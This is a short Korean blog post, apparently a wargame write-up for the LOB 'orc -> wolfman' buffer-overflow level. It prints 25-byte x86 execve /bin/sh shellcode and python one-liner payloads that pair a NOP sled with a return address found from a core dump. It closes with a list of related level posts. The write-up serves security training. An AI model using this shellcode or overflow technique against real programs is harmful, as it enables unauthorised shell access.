[LOB] orc -> wolfman

2018. 3. 30. 17:24


환경변수 파괴 + 버퍼 파괴


memset으로 0값으로 초기화



페이로드 구성... 버퍼 크기가 40이나 있으므로 여기에 쉘코드를 구성해 넣고, argv[1]의 주소를 알아내 거기로 점프하자.


0x01. 가장 기본적으로 쉘을 띄우는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

bytes : 25


이 코드를 사용


./wolfman `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf")'`



세그먼트 폴트가 뜨면서 코어덤프가 생성되었다.


코어덤프를 통해서 argv[1]의 주소를 알아냈다.


저기로 점프하자.


payload : ./wolfman `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x2b\xfc\xff\xbf")'`



성공

'Wargame > LOB' 카테고리의 다른 글

[LOB] darkelf -> orge  (0) 2018.03.31
[LOB] wolfman -> darkelf  (0) 2018.03.31
[LOB] goblin -> orc  (0) 2018.03.30
[LOB] cobolt -> goblin  (0) 2018.03.30
[LOB] gremlin -> cobolt  (0) 2018.03.30

+ Recent posts